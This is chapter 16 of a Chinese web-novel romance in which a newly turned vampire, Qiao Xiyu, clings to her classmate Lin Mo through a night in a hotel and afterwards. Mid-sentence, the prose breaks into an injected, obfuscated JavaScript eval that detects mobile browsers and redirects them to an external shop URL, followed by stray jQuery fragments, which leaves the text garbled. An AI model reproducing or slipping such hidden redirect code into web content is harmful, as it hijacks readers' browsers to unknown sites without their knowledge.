第十六章
乔曦语也知道，这话听起来怪怪的，过于直白，且十分暧昧。
但那是理智上知道。
感性上，她就是脱口而出了，自己内心最真实的想法。
想跟他待在一起。
视线追随着他。
身体紧贴着他。
鼻尖萦绕着他甜美的香气，偶尔再来上一口，小心品尝……
乔曦语不知道自己这是怎么了。
总之就是不想跟他分开，一分，一毫。
林莫在她的视线下微微愣怔了一下，但紧接着，很快就反应过来了。
这应该不是她的想法。
而是她身体驱动下的本能反应。
就像饿了要吃饭，渴了想喝水一样。她今天的状态跟往常很不一样。
不是单纯的极度渴望地压着他吸血，而是更丰富的、多方面的想要靠近他，跟他紧贴在一起。在高铁上的时候是这样，刚刚在门口压着他舔也是这样，现在……更是。
林莫心里已经把她此刻的情况大概猜到了八九分，但知道是一回事，真正面对她那双漂亮的眼睛炯炯有神地盯着自己看又是另一回事。
刚刚被她抵在门上一番折腾的后劲还很明显。
灯光下，他不敢看镜子里的自己，但耳根应该还很红。
偏偏他走到哪里，她就跟到哪里，寸步不离。
他喝水，她就站在旁边看，他给手机充电，她也跟到插座旁边看，等他把一切收拾好了，坐在床边休息的时候，她也跟在他旁边坐下。
林莫无奈。
“你先休息一会儿，我去洗漱。”林莫说着，起身，走进洗手间。
他挤好牙膏接好水，一抬眼，就跟镜子里站在自己身后的人四目相对。
林莫动作顿了顿。
乔曦语站在门口，尚存的理智也促使她产生了几分不好意思的情绪，但想要离开的脚步却就是怎么也迈不动。
“我就呆在这里，能看到你的地方，可以不？”她小声问。趴在门上往里看的动作，莫名生出了几分小心翼翼的试探的感觉。
林莫叹了口气。
谁能拒绝她呢？
“要不干脆一起？”他问。
按照她这寸步不离的状态，如果不一起洗漱，待会儿她洗漱的时候搞不好会直接要求他站在旁边等着。
与其被迫围观，还不如现在两个人一起进行，起码手里有事在做，不至于那么尴尬。
乔曦语很快也想到了这一层。
于是她干脆利落地答应了，然后站在他旁边，一起洗漱。
镜子里两个人影一高一低，动作一致，看起来倒也十分和谐。
一切整理完毕。
林莫重新回到床边，看着两张大床，让她先挑睡哪边。
乔曦语随便选了一张。
林莫便躺在另一张上。
累了一天，也该到了好好休息的时间了。
林莫缓缓闭上眼。
就在困意来袭，即将入睡的时候，他猛然感觉到怀里有什么东西靠了上来。
他一惊，狐疑地睁开眼。
就跟靠在她怀里正在找舒服睡姿的乔曦语四目相对上了。
林莫静静地看着她。
乔曦语讨好地笑了笑，无奈解释道：“没办法，不是我自己的床不好睡，实在是……本能。我没办法呆在你旁边几米远的地方，却忍着不过来贴着你睡，根本控制不住……”
她自己也不想的。
她也知道这很奇怪，很过分，很越界……
但她真的没有别的办法了。
酒店房间的空间就那么大，他们俩虽然睡在两张不同的床上，但她依旧能够清晰地嗅到从他身上传来的香气。
甜美的，诱人的香味，无时无刻不在诱惑着她，勾引着她，召唤她快点过来，行动起来……
乔曦语发誓，她已经很努力在克制了。
只是结果实在不可控。
所以她只能屈服。
只盼林莫不要太计较这些细节，容许她在他的床上暂且借宿一晚……
乔曦语无奈地看着他，眨巴眨巴眼。事已至此，只能企图用真诚打动他。
林莫默默做了个深呼吸。
他闭了闭眼，有些不知道，事情怎么会发展成这样。
一切都要从她突然变成了吸血鬼开始说起。
但没有任何资料显示，吸血鬼会在特殊情况下会产生必须要跟血液攻击者贴贴的习性。
“一起睡可以，”林莫理智地，试图跟她约法三章，“但是不能乱……动。”
他脑海中浮现的第一个词是乱蹭，但话到嘴边，还是换了一种说法。希望她能懂。
乔曦语连连点头：“一定一定。”
林莫看着她亮晶晶的眼睛。实在不确定她到底听懂了没。
房间里的大灯都关了，只留了一盏廊灯，让空间里仍保有一丝光线。
林莫调整着呼吸，重新闭上眼。
入睡的流程还没开始走……
身边的人已经按捺不住地动了。
先是往他怀里钻得更紧了些，紧接着又挪了挪脑袋，鼻尖往他锁骨上面贴了贴，靠近脖子的位置，却没往上咬，而是撩拨似的，来回磨蹭着。
林莫无奈。
这他怎么还能睡得着……
他强撑着，闭着眼不肯睁开。
怀里的人的动作却越来越放肆。
刚开始还只是小心翼翼地往他身上贴一贴，再后来，干脆往上挪了挪，把他脖子上的创可贴揭开，轻轻地咬了上去。
很轻，根本没用尽。既没有造成新的伤口，也没有真正要吸血的意思。倒更像是磨牙似的，浅咬一下，再舔一舔，再浅咬一下……如此反复，在他的伤口上翻来覆去地耍弄着，撩拨着，挑动着他的每一根神经。
林莫的呼吸早就乱了。
他上身被她分毫不让地紧贴着，下半身则掌握着分寸，十分为难地往后退让着。
直到退无可退，被她欺到下半身几乎紧挨着床沿……
林莫心下深深地叹息。
早知如此就不该订标间。
如果是大床房，起码往后撤开的空间还能更大一些。
……
这一夜，乔曦语休息得极好。
她一整晚都睡在林莫怀里，鼻尖被他身上香甜的味道所填满，连梦里都十分幸福圆满。醒来以后她精神抖擞，感觉已经恢复了大半的元气。
比起她，林莫就显然休息得不太好。
他几乎一整晚都没合眼。
身边睡了个人，他从未有过如此拘束。
不敢动，不敢乱抬手，甚至连呼吸都尽量放轻，怕惊扰了她的好眠。
偏偏她梦里还不安生。
又或许正因为是睡着了，她的行为便格外放肆起来。
前半夜还好一些，到了后半夜，便直接抬腿往他身上压。胳膊横跨过他的肩，攀了上来，独属于吸血鬼的牙齿似乎是有什么感应一般，准确无误地咬在他脖子上那个独属于她的伤口上，厮磨，啃咬……
没明显不是真的想吸血。只是利用锋利的牙齿研磨出一些细小的伤口，然后再轻轻舔舐，帮他疗伤的同时也把那些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604627|205306||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
微小的随着伤口渗透出来的血珠一点点□□干净……
林莫很难在这种情况下保持心绪平和。
他无数次想要什么都不管了，直接翻身把她压在身下，让她好好感受一下上次没完成的尝试，让他也在她脖子上咬上一口，又或者，咬上更多……
但是他都生生忍住了。
她现在是特殊情况。
他跟她计较个什么劲儿？
于是就这么一忍再忍，直到天光放亮，一夜无眠。
乔曦语看着林莫眼底的红血丝，十分愧疚：“都是因为我，你昨天晚上是不是都没睡好？”
林莫看着她的眼睛，沉默两秒。
“还好。”
乔曦语眨巴着眼睛，看着他：“真的？可是你黑眼圈都出来了。”
林莫顿了顿，思索两秒，才给出合理的解释：“我认床。”
乔曦语：“哦！”也有道理，隐约记得他好像确实不喜欢适应新环境来着。
不过说到底，他还是为了她才来睡的酒店。乔曦语这样想着，更加感动了。
“时间还早，吃早餐吗？我请客！”她大方道。请他去食堂吃个小早餐，聊表谢意。
林莫看见她又恢复了平日里活力满满的样子，仿佛昨天晚上只是一个插曲，很快已经过去。他心头莫名闪过一丝复杂的情绪，但很快调整好。
“好。”他应道。
吃什么都行，他都可以。
……
初秋的早上，一碗热气腾腾的馄饨，加上小半勺芝麻油和一小勺醋，香喷喷又美滋滋。
乔曦语跟林莫一起从食堂出来，心情无比畅快。
“我上午有课，回宿舍拿了书再去教学楼。你呢？”她问。
其实她不回宿舍也行。
一大早她就受到了室友们发来的消息，纷纷关心她身体怎么样，有没有哪里不舒服，今天早上的课需不需要请假的。她在群里给大家报了平安，并精神抖擞的表示上午的课可以按时出席，众人都十分开心，并主动提及可以帮她把课本带去教室。但乔曦语拒绝了。
她身上还穿着去游乐园时的那身衣服，在酒店虽然洗了澡，但没有换洗衣物。她还是想先回宿舍收拾一下，顺便整理一下要带的课本，也就不用麻烦她们帮忙了。
林莫朝她点了点头：“我回宿舍。”
两个人于是在食堂门口就分道扬镳了。
乔曦语刚开始也以为是这样。
但很快她就发现，自己想得太美了。
林莫刚离开她的视线不到五分钟，鼻尖那甜美的香气从她的世界完全撤离开，那种头疼到昏昏沉沉的感觉立刻像鬼一样地缠了上来。
乔曦语正走在回宿舍的路上，顿时觉得脚步一沉，根本走不动路。
她知道这熟悉的感觉。
只要把林莫喊回来，呆在他身边，就没事了。
但她也想尝试一下，能不能努力克服。
于是她继续硬撑着往前走。
一步，两步……
林莫的手机响了没两声，他几乎是立刻就接了起来。
“怎么？”他声音有些不易察觉的紧张。
乔曦语叹了口气，十分不好意思地踌躇着开口问他：“你到宿舍了吗？我发现好像有个问题……”
林莫安静地，等待她把问题说完。
她的声音却更加局促了。
“就是……我好像一离开你就头疼……”乔曦语苦恼地叹息一声，“怎么办啊，林莫……”
这样下去，那她岂不是完全不能跟他分开，要一直一直寸步不离地待在一起了？